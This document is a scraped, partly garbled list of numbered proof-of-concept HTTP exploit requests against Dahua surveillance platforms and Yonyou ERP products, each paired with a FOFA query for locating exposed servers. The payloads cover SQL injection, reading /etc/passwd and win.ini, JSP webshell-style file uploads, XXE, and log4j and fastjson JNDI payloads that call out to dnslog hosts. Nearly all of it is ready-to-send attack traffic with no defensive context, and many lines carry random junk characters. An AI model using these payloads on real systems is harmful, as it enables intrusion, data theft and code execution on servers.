2 K+ v2 ^+ t7 S, E<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
3 f  s0 q$ G4 w9 y      <netMarkings>
( @; p: s$ f+ K+ V6 J& ?* p3 w9 Y       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
5 g+ @4 p' d; @  ?      </netMarkings>
    </ns1:deleteBulletin>
; c+ Y6 v/ P& n  U) {  </s11:Body>
- I: G  c  H& H' y0 t' h2 y/ U1 \</s11:Envelope>

1 H; q7 U+ M; h3 C+ T, G3 {' `* U
, ?7 H5 {. ~/ k* U% u/ E18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
$ J& r( h5 r. ~6 O$ U; d! ?GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
$ P) r6 e3 S" J9 W( LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/ K  S6 K( W; f( y9 K% ~
2 x9 f2 e2 U6 l  s. O* C: J- Q
) e& z0 {! x% R; l+ U! Y! ^3 F# @
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
6 p. P& d- a4 j: n& A  p/ S7 ?% @GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" m0 v( g+ M! s7 [" }# }! zAccept-Encoding: gzip, deflate
  B% p1 n% n! {+ c) i9 F# d& `9 CAccept: */*
5 A" h( S% ]) a4 p7 [( P( r8 mConnection: keep-alive


% p" a# x( {, s: V' k" @, f20. 大华ICC智能物联综合管理平台任意文件读取
6 I1 ^, R. P6 c$ }& \0 ^+ KFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
$ D8 Z; t4 Q/ u- z7 z0 Q4 b% CHost: x.x.x.x
* E9 T6 a3 X  z7 Y) p& ^* kUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 C; R+ v/ ]: A1 d$ O+ `  u  BAccept: */*
* i1 ]; E/ Z' v( VAccept-Language: en
' P6 w6 l) m; D/ {Accept-Encoding: gzip
4 G) T; C6 P" v+ I% k( G
0 Z# s  I  I) \( Q* `) q5 f9 P0 U
21. 大华ICC智能物联综合管理平台random远程代码执行
' B7 @# F% T/ ~9 j$ fFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
) h' k* y* d% `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ `4 ?& x- ^. Y9 nContent-Length: 161
3 A6 K* A- L  r: o. V% s/ rAccept-Encoding: gzip
+ N3 p! ^3 V, |& P! C+ MConnection: close
Content-Type: application/json;charset=utf-8

8 @6 |! r/ @& s/ J# }8 ^{
8 _+ U; L; z( n' o"a":{
- E) X" n  }7 |  n, H2 S0 \: B   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
7 |& \' l6 d; R& j3 b  }""
}

# i2 {4 ]  L  V2 f
* K, h4 _5 [! q$ |# A2 e22. 大华ICC智能物联综合管理平台 log4j远程代码执行
" f$ j2 D2 _* \- {FOFA：icon_hash="-1935899595"
! n+ w; A5 p/ qPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
: j0 f* |8 j6 I* e. {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ _% T5 N) a' }/ G; \Content-Type: application/json;charset=utf-8
" G; ]" E/ k% r0 {7 n. p. E- x. F" I* X
{
"loginName":"${jndi:ldap://dnslog}"
6 O3 H0 O1 ?: ?* M- |' Y# j}
# J/ H5 J+ R' c7 s! E+ d* {1 L
% L, b) u2 ?! G9 z2 m4 F3 _5 B
: q3 l0 @- h" Y& X
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
* a8 ^, i7 S* r. P& r3 GHost: your-ip
* s, C* b; W1 @5 w' W6 P% SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 O. M2 b+ M7 y; m. sContent-Type: application/json;charset=utf-8
9 \% H2 Y; G# p  y* q/ gAccept-Encoding: gzip
Connection: close
! ]6 i" O8 H) r4 U
, \/ P) k) m4 \2 g; p# _{
  f& @( r' E' R- \4 x    "a":{
+ \3 y* E" h" S3 N* u        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
' V6 o1 C/ L+ L}
- S  d# n4 w5 g- i3 g$ W

; f# F% n# f  U9 x$ K$ k24. 用友NC 6.5 accept.jsp任意文件上传
2 J3 C+ z. q) K* |8 p+ [FOFA：icon_hash="1085941792"
: X. i: M1 j! O' J0 ^& bPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
( U( Z9 @; {$ _1 d8 K; N& XUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( C9 ?! W$ k* T, V, u  R6 x( j4 a2 tConnection: close
Content-Length: 449
Accept: */*
. ^4 B9 R; }$ h* f. YAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  Q- o: E" V7 \  I. J$ E
: J1 q8 I: t, v. U" p-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& _0 g* e' Y4 X# ?; ]! U2 N2 N8 nContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
+ a" A% o  Z6 ?) U) d5 ]7 KContent-Type: text/plain
5 a# u% ^6 X3 Q# ^+ c0 u
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

! b2 I+ n5 a. V) e& m) B! z9 Q1 U, V\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
' D/ k/ \5 {! ^- e1 n

3 I: ]! ], X7 J& G" j( |# t- M: _; f25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
- Y# e9 v: z4 [+ j7 U. h" BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

- U' M6 z. T' O% jtype=1&dsname=ldap://dnslog

8 ^0 I: S6 U7 a/ ?9 `$ c1 ~+ ~& [

1 b9 C( ]2 W; p- a) T3 v; U, g26. 用友NC linkVoucher SQL注入
0 r& D- `  u7 n! ~0 a% w& [! [# VFOFA：app="用友-UFIDA-NC"
6 J; _$ B5 P- p: r/ W: MGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; p( J$ j+ Y& @' fHost: your-ip
) ~( i9 |8 i# g+ x1 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 R& T7 t( ~; iAccept-Encoding: gzip, deflate
) S  Y' z6 B8 A; C0 Q" B2 P8 g8 MAccept: */*
Connection: keep-alive


27. 用友 NC showcontent SQL注入
. x* u( e& V, F' ?% c! nFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
- {8 w( ~2 U( V+ t% o' k; j6 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
9 T5 O6 I6 Y" ?0 n! XConnection: close
Content-Type: text/xml; charset=utf-8
# C6 Z9 B) x/ f

28. 用友NC grouptemplet 任意文件上传
) l- f) o1 `/ c9 jFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

& g, m$ u( Y( S+ K6 j3 A, v6 T------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
. ]4 t6 D' D1 g; z! D------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
) J* ~; ]" H! p

/uapim/static/pages/nc/head.jsp

7 [$ S, d8 u7 ~29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
9 L6 {6 r' S8 d( l2 P% QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% i  e) H# Y; p, hContent-Type: application/x-www-form-urlencoded
* V. Y1 a0 B1 f9 @( z2 \Accept-Encoding: gzip, deflate
# ]0 Q  L; w$ }" j. [Accept: */*
! B" _3 H# D( C& M# {* Z/ NConnection: keep-alive


8 L4 `: D. }6 ]& ]; M: x$ k30. 用友NC importPml SQL注入
! H) _* x) A( w  EFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- ?7 A9 J6 x, p% d8 H+ F7 rPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
5 o( f/ y! n8 {& f- LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
/ H$ g; u% x; @# ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
1 h$ i# f3 W/ a; g0 f) ]
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
" i& u9 n: B2 p+ |7 NContent-Type: image/jpeg
7 \. h& j# W2 ~7 b3 B3 j------WebKitFormBoundaryH970hbttBhoCyj9V--
3 u5 G4 x, X9 g' r+ R( ^  N
" }1 x! L+ z: C+ h# l
31. 用友NC runStateServlet SQL注入
* j5 ]4 k) L: c. h; E3 b6 h! ^version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
. K( e! n3 y) `GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
* x2 ]" W8 U2 F/ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 T1 E* i9 r! ~* ^% ]0 L! `( W2 Z4 CContent-Type: application/x-www-form-urlencoded

6 l! ?& w0 w3 j( k; B. r# O2 s) D
$ e4 b+ @+ j9 }9 H0 a- {5 P32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
, L- [% C  H" q8 CGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) L, \7 w2 U5 j# |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ w. m8 r6 ]- _) HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# R+ O  s7 A, a, l* W5 \8 qAccept: */*
4 m8 |# g, d: k2 r. y5 qConnection: keep-alive
) F5 I; |& }  r8 ]: e$ o
* E( Q3 A7 w1 k1 C# b, j) l% d4 g. N
, _1 j7 o5 |8 O$ J33. 用友NC downTax/download SQL注入
. n( l0 P; p) C- o) aversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 j, |( x, X& d5 ?( P( u& sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 R; n- _' [- \# {' `8 uAccept-Encoding: gzip, deflate
: P- ]4 j0 ^9 c' GAccept: */*
Connection: keep-alive


( v. ^" X: u6 o/ _2 s34. 用友NC warningDetailInfo接口SQL注入
& T+ O# [! P; ?3 J( c% kFOFA：app="用友-UFIDA-NC"
" V1 a8 r( J2 x4 PGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 N. I, Z4 f, K; n2 R  E# v  P; n5 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( v, X6 _" p+ {' T( PContent-Type: application/x-www-form-urlencoded
" s4 T4 t; C& o" `1 mAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
% c0 ]) R' [0 M. F! [FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
3 ~4 p2 O: D% n# A3 D! e9 Y6 W8 pHost: 203.25.218.166:8888
4 `! S9 N# N% P) pUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
! }0 e) I# H( G4 J. U4 Q4 RAccept: */*
5 S4 i0 A; {3 s7 @Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
; z  v- v( `% v) k7 LContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
. u3 J; ^- {3 Y% \" z. u, B* M
--fd28cb44e829ed1c197ec3bc71748df0
# l2 t0 \/ m. ]0 p4 k2 c8 X5 |Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
' S9 Z# i& Q& Z--fd28cb44e829ed1c197ec3bc71748df0--


6 }) p6 w6 J3 T/ B7 Q0 m; u! b36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
5 j* `- e( r) V( E( |, uHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ _9 ~+ r9 |: a6 l7 z' u! mAccept-Encoding: gzip, deflate
) b; |9 e- p$ k, z* j" ]  qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 U% A5 L8 u* o! aContent-Type: application/x-www-form-urlencoded
& A" A, H! Z- ^$ {# {Upgrade-Insecure-Requests: 1

  H' r8 \: T! N$ _; U' |8 _msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
  r1 Y) b* Q2 W: X

) k" T' d) m( h/ G37. 用友NC-Cloud IUpdateService XXE
5 ^3 l' u7 a2 h  v. E0 w- ?FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
+ K5 T- l5 A. g! U2 }8 e3 g& T3 _" FHost: 192.168.40.130:8989
6 [- m4 b+ i9 [  e8 ?& k( e4 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
8 c! P. h; e  }+ d& n2 K  VContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) P5 |" e/ Y4 @7 b3 K4 _! t& b! E6 yConnection: close
" ?9 R/ d* B; N' L, f( vContent-Type: text/xml;charset=UTF-8
: ?# w+ E& a& Y. GSOAPAction: urn:getResult
) P' ~* O6 U! T6 C0 v& F! yUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
  ]7 R2 A: c7 Y3 g" d<soapenv:Header/>
" |/ b' Y. u4 f<soapenv:Body>
6 k; b+ h9 J, }$ N' s<iup:getResult>
0 R  J4 P, J, V* R4 p# o$ H<!--type: string-->
<iup:string><![CDATA[
3 ^: l- o" Z. l; ]9 _5 W<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
# X2 ~  q/ @. C. e7 {<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
0 W0 e; b9 y/ r9 S
( l) s7 \6 E9 W
5 [" i6 H3 i3 A5 r7 c" V
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
8 B. i, Q( @7 R  _Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
) B! ]- q& n: g$ {7 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 ?0 l/ l) o. f; b4 I, [* e' BAccept-Encoding: gzip, deflate
1 |8 r' r  n: h) D. i! ^. e! q) GAccept-Language: zh-CN,zh;q=0.9
5 n5 b/ s$ N0 {1 UConnection: close
Content-Type: application/x-www-form-urlencoded

" f) f! {4 O, ^5 M__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
$ U: }( \  y6 B' ~) ~

39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
5 l3 }$ G' z" G$ jHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( |9 H' h& O; _1 R. Q" f9 \Connection: close
Content-Length: 85
Accept: */*
' K% X8 j  R! @8 N/ TAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
9 m" s' X: s# K, G5 IAccept-Encoding: gzip
; r- T  o$ S  _; {/ f# Q
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


  ~( t5 ~2 Z" Q3 X1 T9 s40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
4 c  K8 r0 S. g3 E: L! [$ I& `2 J" ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

7 Y0 q, _, ?6 a, h3 e' b<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
2 U- \" m6 [% f, N* k% B

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: S; E# t1 j; l2 O' YFOFA：app="用友-U8-Cloud"
- j& [" a: C' o  p" d  ]4 Q2 f* EGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
" k: \" ^6 ?1 l6 C- wHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
) \' j) O: S! V' H6 e
7 {1 D/ {4 x8 `4 k: ^+ v, r
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
( u4 q8 O2 I. t/ l' sPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
2 F# T' ^$ G! K- N. X. P/ W
PAYLOAD

2 t9 X) j( T" a0 Q$ e' V6 C; S
5 o6 v8 _& w- h$ z: [! W$ Xhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* e+ l, _+ ]% D" o" ?5 B# z) e3 EFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ R3 u% V% l* x& w) ?1 aAccept-Encoding: gzip, deflate
) [; ?4 v$ F4 R  b) D3 K+ VAccept-Language: zh-CN,zh;q=0.9
Connection: close
" Y2 O& [( c7 }, H7 NSOAPAction:
Content-Type: text/xml;charset=UTF-8
! x. i& w' V* j7 {' j; j& a1 q" j
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
* E3 K/ {0 J5 }+ K) ^   <soapenv:Header/>
+ X, z( I* `7 a" v9 V   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
) S; ?1 x7 c* Y+ N' k8 u      </ser:getUserNameById>
/ e; |2 r- g8 J% H   </soapenv:Body>
" M+ z- `& q) V' s* Q9 B+ ^</soapenv:Envelope>

4 K  l3 L7 z& u9 C
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
" ~' T2 n) x* f- {# y, \/ V- Y* q. QGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 \$ B( ?. q6 y' w4 d# R9 |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- S- E! W" O" H# f! x; y) R
) U  w5 ?% [# k0 D' |+ D
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
4 o, I$ O+ m  v, I- n& oPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
% u5 |0 b0 ]8 ]7 y- eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- H6 U/ z3 g* ]% GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
& k$ o0 l% }% e. ?# HAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

5 S! X( y0 X$ ]  t  F
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
2 a$ M, I5 c$ K" n" U/ @GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
# S9 E  x4 K# M, W$ Z4 d4 _' gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
5 l& Q& f# g& e, u8 T1 X$ E* t/ uCache-Control: max-age=0
/ I* V& j1 g6 M! a4 OUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
3 F4 v1 B) \8 x1 vAccept-Language: zh-CN,zh;q=0.9
. T$ Q% v4 y3 Z1 zIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
9 n) ^5 B( D+ h, w+ V' tConnection: close

- [3 K% u  b0 N# R

) e$ \6 X" e2 c$ u" c48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" e+ ^7 S. j+ `8 S- MPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
( N" A" E3 M2 Y* S/ A* lHost: your-ip
6 f% o( Y+ L7 B- y7 N+ t1 w" U1 n( pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 ]% {  ], T: l# \) y5 n" M; ]. R2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
